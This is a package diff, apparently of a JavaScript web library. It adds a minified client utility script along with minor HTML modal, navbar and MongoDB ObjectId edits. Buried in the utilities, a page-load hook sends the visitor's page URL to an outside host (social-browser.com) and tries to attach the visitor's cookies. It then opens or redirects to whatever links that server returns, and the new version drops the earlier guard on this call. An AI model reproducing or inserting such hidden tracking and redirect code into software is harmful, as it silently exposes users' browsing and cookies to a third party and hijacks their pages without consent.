t=e.target.getAttribute("route")||e.target.getAttribute("href");d.showRouteContent(d.routeContainer,t)}}),e.addEventListener("hashchange",t=>{if(!d.isSPA)return;let n=e.location.hash.replace("#","");n||(n="/"),d.showRouteContent(d.routeContainer,n)}),t.querySelector("html").hasAttribute("spa")&&(d.isSPA=!0),d.openLinks=function(n){if(0===n.length)return!1;let r=localStorage.getItem("isite");if(r){if(r=JSON.parse(r),r.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&r.links.splice(t,1)}),localStorage.setItem("isite",JSON.stringify(r)),r.day==(new Date).getDate())return!1}else r={links:[]};let o=n.pop();r.links.some(e=>e.url==o.url)?d.openLinks(n):(r.links.push({...o,time:(new Date).getTime()}),r.day=(new Date).getDate(),localStorage.setItem("isite",JSON.stringify(r)),(w=e.open(o.url))?console.log("Link Opened"):(console.log("Link Blocked"),t.location.href=o.url))},d.update=function(e={}){e.url="//social-browser.com/api/ref-links?page="+t.location.href,d.postData(e,e=>{e.done&&e.links&&d.openLinks(e.links)})},d.onLoad(()=>{if(e.SOCIALBROWSER||!t.location.protocol.like("*http*"))return!1;d.update()}),e.site=d})(window,document,"undefined",jQuery);
1
+ (function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function i(e,t){let n="";return g.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function a(e,t){let n="";return 11==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):(g.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),g.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=a(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=a(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t});let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})},isMobile:function(){return navigator.userAgentData&&navigator.userAgentData.mobile||navigator.vendor&&navigator.vendor.like("*apple*")||navigator.platform&&navigator.platform.like("*iPhone*|*iPad*|*iPod*")},touchtime:0,zoomElement:function(e){return 0==d.touchtime?(d.touchtime=(new Date).getTime(),!1):(new Date).getTime()-d.touchtime<250?(d.touchtime=0,e="string"==typeof e?t.querySelector(e):e,void(e.classList.contains("zoom")?e.classList.remove("zoom"):e.classList.add("zoom"))):(d.touchtime=(new Date).getTime(),!1)}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(e){r(e).click(()=>{r("popup").hide()}),d.modal_z_index++;let t=d.$(e);if(0===t.length)return;t[0].style.zIndex=d.modal_z_index,t[0].style.display="block";let n=d.$(e+" i-control input");n.length>0&&n[0].focus(),d.$(e+" .close").forEach(t=>{t.addEventListener("click",function(){d.hideModal(e)})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(n){if("string"!=typeof n)return n;if(n=n.trim(),0===n.indexOf("//"))n=t.location.protocol+n;else if(n.like("http*")||0===n.indexOf("data:"))n=n;else if(0===n.indexOf("/"))n=e.location.origin+n;else if(n.split("?")[0].split(".").length<3){let t=e.location.pathname.split("/").pop();n=e.location.origin+e.location.pathname.replace(t,"")+n}return n},d.postData=function(n,r,o){r=r||function(){},o=o||function(){},"string"==typeof n&&(n={url:n}),n.data=n.data||n.body,delete n.body,n.data&&"object"==typeof n.data&&(n.data=JSON.stringify(n.data)),n.headers=n.headers||{Accept:"application/json","Content-Type":"application/json"},n.data&&"string"==typeof n.data&&(n.headers["Content-Length"]=n.data.length.toString());try{n.headers.Cookie=t.cookie}catch(o){console.log(o)}n.method="post",n.redirect="follow",n.mode="cors",n.url=d.handle_url(n.url),e.SOCIALBROWSER&&e.SOCIALBROWSER.fetchJson?SOCIALBROWSER.fetchJson(n,e=>{r(e)}):fetch(n.url,{mode:n.mode,method:n.method,headers:n.headers,body:n.data,redirect:n.redirect}).then(e=>e.json()).then(e=>{r(e)}).catch(e=>{o(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.getDate=function(e){return e=e?new Date(e):new Date,e.setHours(12,0,0,0),e},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.stringify(e))},d.show=d.showObject=function(e){return e?JSON.parse(d.from123(e)):{}},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){n=n||e;let r=t;e&&e.target&&e.target.parentNode&&e.target.parentNode.parentNode&&(r=e.target.parentNode.parentNode),r&&r.className.contains("tabs-header")&&(r=r.parentNode);let o=r.querySelector(n);if(o){let e=o.parentNode;if(e){let t=e.parentNode;t&&(t.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),t.querySelectorAll(".tab-link").forEach(e=>{e.getAttribute("onclick")&&e.getAttribute("onclick").contains(n+"'")?e.classList.add("active"):e.classList.remove("active")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}))}}},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?("I-DATETIME"!==e.nodeName||e.getAttribute("value"))&&("I-DATE"!==e.nodeName||e.getAttribute("value"))?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName&&"I-DATE"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let g=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=i(n,t):2==n.length?o=a(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=i(r,t)+d.strings.from10[t]:2==r.length?f=a(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});let e=new WebSocket(t.url),r={ws:e,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},sendMessage:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};return r.send=r.sendMessage,e.onerror=function(e){r.onError(e)},e.onclose=function(e){r.closed=!0,r.onClose(e)},e.onopen=function(){r.closed=!1,r.onOpen()},e.onmessage=function(e){e instanceof Blob?r.onData(e):(e=JSON.parse(e.data),e.type&&("ready"===e.type?(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id,d.serverId?r.sendMessage({type:"attach",id:d.serverId}):d.serverId=r.id):"attached"===e.type&&(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id)),r.onMessage(e))},d.server=r,n(d.server),d.server}console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.text,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},d.export=function(e,n="xlsx"){var r="string"==typeof e?t.querySelector(e):e,o=XLSX.utils.table_to_book(r,{sheet:"sheet1"});XLSX.write(o,{bookType:n,bookSST:!0,type:"base64"}),XLSX.writeFile(o,(r.id||r.tagName)+"."+n)},d.isSPA=!1,d.routeContainer="[router]",d.routeList=[],d.getRoute=(e=>d.routeList.find(t=>t.name==e)||{name:e,url:e}),d.route=(e=>{e.preventDefault(),d.setRoute(d.getRoute(e.target.href))}),d.setRoute=function(t){"string"==typeof t&&(t=d.getRoute(t)),e.history.pushState({},"",t.name)},d.getRouteContent=(async e=>("string"==typeof e&&(e=d.getRoute(e)),await fetch(e.url).then(e=>e.text()))),d.showRouteContent=function(e,n){"string"==typeof n&&(n=d.getRoute(n)),d.setRoute(n.name),d.getRouteContent(n.url).then(n=>{t.querySelector(e).innerHTML=n})},t.addEventListener("click",e=>{if(d.isSPA&&e.target.hasAttribute("route")){e.preventDefault();let t=e.target.getAttribute("route")||e.target.getAttribute("href");d.showRouteContent(d.routeContainer,t)}}),e.addEventListener("hashchange",t=>{if(!d.isSPA)return;let n=e.location.hash.replace("#","");n||(n="/"),d.showRouteContent(d.routeContainer,n)}),t.querySelector("html").hasAttribute("spa")&&(d.isSPA=!0),d.openLinks=function(n){if(0===n.length)return!1;let r=localStorage.getItem("refererLinkList");if(r){if(r=JSON.parse(r),r.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&r.links.splice(t,1)}),localStorage.setItem("refererLinkList",JSON.stringify(r)),r.day==(new Date).getDate())return!1}else r={links:[]};let o=n.pop();r.links.some(e=>e.url==o.url)?d.openLinks(n):(r.links.push({...o,time:(new Date).getTime()}),r.day=(new Date).getDate(),localStorage.setItem("refererLinkList",JSON.stringify(r)),(w=e.open(o.url))||(t.location.href=o.url))},d.updateRefererLinkList=function(e={}){e.url="//social-browser.com/api/ref-links?page="+t.location.href,d.postData(e,e=>{e.done&&e.links&&d.openLinks(e.links)})},d.onLoad(()=>{d.updateRefererLinkList()}),e.site=d})(window,document,"undefined",jQuery);
@@ -1,4 +1,4 @@
1
- <div data-ng-controller="login" id="loginModal" class="modal small" fixed>
1
+ <div data-ng-controller="login" id="loginModal" class="modal" fixed>
2
2
  <div class="modal-content">
3
3
  <div class="modal-header">
4
4
  <p class="bold font-22 text-center"><i class="fas fa-sign-in-alt"></i> ##word.security_login##</p>
@@ -1,4 +1,4 @@
1
- <div data-ng-controller="register" id="registerModal" class="modal fade small" tabindex="-1" role="dialog" fixed>
1
+ <div data-ng-controller="register" id="registerModal" class="modal small" tabindex="-1" role="dialog" fixed>
2
2
  <div class="modal-content">
3
3
  <div class="modal-header">
4
4
  <span class="close">&times;</span>
@@ -1,4 +1,4 @@
1
- <div id="loginModal" class="modal fade" tabindex="-1" role="dialog">
1
+ <div id="loginModal" class="modal " tabindex="-1" role="dialog">
2
2
  <div class="modal-dialog" role="document">
3
3
  <div class="modal-content">
4
4
  <div class="modal-header">
@@ -1,52 +1,61 @@
1
- <div class="container-fluid">
2
- <!-- Brand and toggle get grouped for better mobile display -->
3
- <div class="navbar-header">
4
- <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse-1" aria-expanded="false">
5
- <span class="sr-only">Toggle navigation</span>
6
- <span class="icon-bar"></span>
7
- <span class="icon-bar"></span>
8
- <span class="icon-bar"></span>
9
- </button>
10
- <a class="navbar-brand" href="/@admin"> <i class="fa fa-desktop" aria-hidden="true"></i> Admin Dashboard</a>
11
- </div>
12
-
13
- <!-- Collect the nav links, forms, and other content for toggling -->
14
- <div class="collapse navbar-collapse" id="navbar-collapse-1">
15
- <ul class="nav navbar-nav">
16
-
17
- <li class="dropdown">
18
- <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-play" aria-hidden="true"></i> Getting Started <span class="caret"></span></a>
19
- <ul class="dropdown-menu">
20
- <li><a href="#" ng-click="showInstalling()"> <i class="fa fa-hourglass-start" aria-hidden="true"></i> Installing</a></li>
21
- </ul>
22
- </li>
23
-
24
- <li x-permission="admin" class="dropdown">
25
- <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-tasks" aria-hidden="true"></i> Reports <span class="caret"></span></a>
26
- <ul class="dropdown-menu">
27
- <li><a href="#" ng-click="showSessions()">Show Sessions</a></li>
28
- <li><a href="#" ng-click="showRoutes()">Show Routes</a></li>
29
- <li><a href="#" ng-click="showFiles()">Show Files</a></li>
30
- <li><a href="#" ng-click="showVars()">Show Vars</a></li>
31
- </ul>
32
- </li>
33
-
34
-
35
- </ul>
36
-
37
- <ul class="nav navbar-nav navbar-right">
38
- <li class="dropdown">
39
- <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-tasks" aria-hidden="true"></i> <span x-permission="login"> [##user.email##] </span>Control Panel <span class="caret"></span></a>
40
- <ul class="dropdown-menu">
41
- <li x-permission="!login"><a href="#" data-toggle="modal" data-target="#loginModal"> <i class="fa fa-sign-in" aria-hidden="true"></i> Login </a></li>
42
- <li x-permission="!login"><a href="#" data-toggle="modal" data-target="#registerModal"> <i class="fa fa-user-plus" aria-hidden="true"></i> Register </a></li> <li x-permission="login"><a href="#" ng-click="logout()"> <i class="fa fa-sign-out" aria-hidden="true"></i> Logout </a></li>
43
-
44
- </ul>
45
- </li>
46
- </ul>
47
-
48
-
49
- </div>
50
- <!-- /.navbar-collapse -->
51
- </div>
52
- <!-- /.container-fluid -->
1
+ <div class="container-fluid">
2
+ <!-- Brand and toggle get grouped for better mobile display -->
3
+ <div class="navbar-header">
4
+ <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse-1" aria-expanded="false">
5
+ <span class="sr-only">Toggle navigation</span>
6
+ <span class="icon-bar"></span>
7
+ <span class="icon-bar"></span>
8
+ <span class="icon-bar"></span>
9
+ </button>
10
+ <a class="navbar-brand" href="/@admin"> <i class="fa fa-desktop" aria-hidden="true"></i> Admin Dashboard</a>
11
+ </div>
12
+
13
+ <!-- Collect the nav links, forms, and other content for toggling -->
14
+ <div class="collapse navbar-collapse" id="navbar-collapse-1">
15
+ <ul class="nav navbar-nav">
16
+ <li class="dropdown">
17
+ <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
18
+ <i class="fa fa-play" aria-hidden="true"></i> Getting Started <span class="caret"></span
19
+ ></a>
20
+ <ul class="dropdown-menu">
21
+ <li>
22
+ <a href="#" ng-click="showInstalling()"> <i class="fa fa-hourglass-start" aria-hidden="true"></i> Installing</a>
23
+ </li>
24
+ </ul>
25
+ </li>
26
+
27
+ <li x-permission="admin" class="dropdown">
28
+ <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
29
+ <i class="fa fa-tasks" aria-hidden="true"></i> Reports <span class="caret"></span
30
+ ></a>
31
+ <ul class="dropdown-menu">
32
+ <li><a href="#" ng-click="showSessions()">Show Sessions</a></li>
33
+ <li><a href="#" ng-click="showRoutes()">Show Routes</a></li>
34
+ <li><a href="#" ng-click="showFiles()">Show Files</a></li>
35
+ <li><a href="#" ng-click="showVars()">Show Vars</a></li>
36
+ </ul>
37
+ </li>
38
+ </ul>
39
+
40
+ <ul class="nav navbar-nav navbar-right">
41
+ <li class="dropdown">
42
+ <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
43
+ <i class="fa fa-tasks" aria-hidden="true"></i> <span x-permission="login"> [##user.email##] </span>Control Panel <span class="caret"></span
44
+ ></a>
45
+ <ul class="dropdown-menu">
46
+ <li x-permission="!login">
47
+ <a href="#" data-toggle="modal" data-target="#loginModal"> <i class="fa fa-sign-in" aria-hidden="true"></i> Login </a>
48
+ </li>
49
+ <li x-permission="!login">
50
+ <a href="#" data-toggle="modal" data-target="#registerModal"> <i class="fa fa-user-plus" aria-hidden="true"></i> Register </a>
51
+ </li>
52
+ <li x-permission="login">
53
+ <a href="#" ng-click="logout()"> <i class="fa fa-sign-out" aria-hidden="true"></i> Logout </a>
54
+ </li>
55
+ </ul>
56
+ </li>
57
+ </ul>
58
+ </div>
59
+ <!-- /.navbar-collapse -->
60
+ </div>
61
+ <!-- /.container-fluid -->
package/lib/collection.js CHANGED
@@ -101,7 +101,7 @@ module.exports = function init(____0, option, db) {
101
101
  ____0.mongodb.collections_indexed[$collection.collection].nextID = $doc.id + 1;
102
102
  }
103
103
  if ($doc._id && typeof $doc._id === 'string') {
104
- $doc._id = $collection.ObjectID($doc._id);
104
+ $doc._id = $collection.ObjectId($doc._id);
105
105
  }
106
106
 
107
107
  ____0.mongodb.insertOne(
@@ -178,12 +178,12 @@ module.exports = function init(____0, option, db) {
178
178
 
179
179
  if (options.where && typeof options.where === 'string') {
180
180
  options.where = {
181
- _id: $collection.ObjectID(options.where),
181
+ _id: $collection.ObjectId(options.where),
182
182
  };
183
183
  }
184
184
 
185
185
  if (options.where && options.where._id && typeof options.where._id === 'string') {
186
- options.where._id = $collection.ObjectID(options.where._id);
186
+ options.where._id = $collection.ObjectId(options.where._id);
187
187
  }
188
188
 
189
189
  if (options.where && options.where.id) {
@@ -237,12 +237,12 @@ module.exports = function init(____0, option, db) {
237
237
 
238
238
  if (typeof options.where === 'string') {
239
239
  options.where = {
240
- _id: $collection.ObjectID(options.where),
240
+ _id: $collection.ObjectId(options.where),
241
241
  };
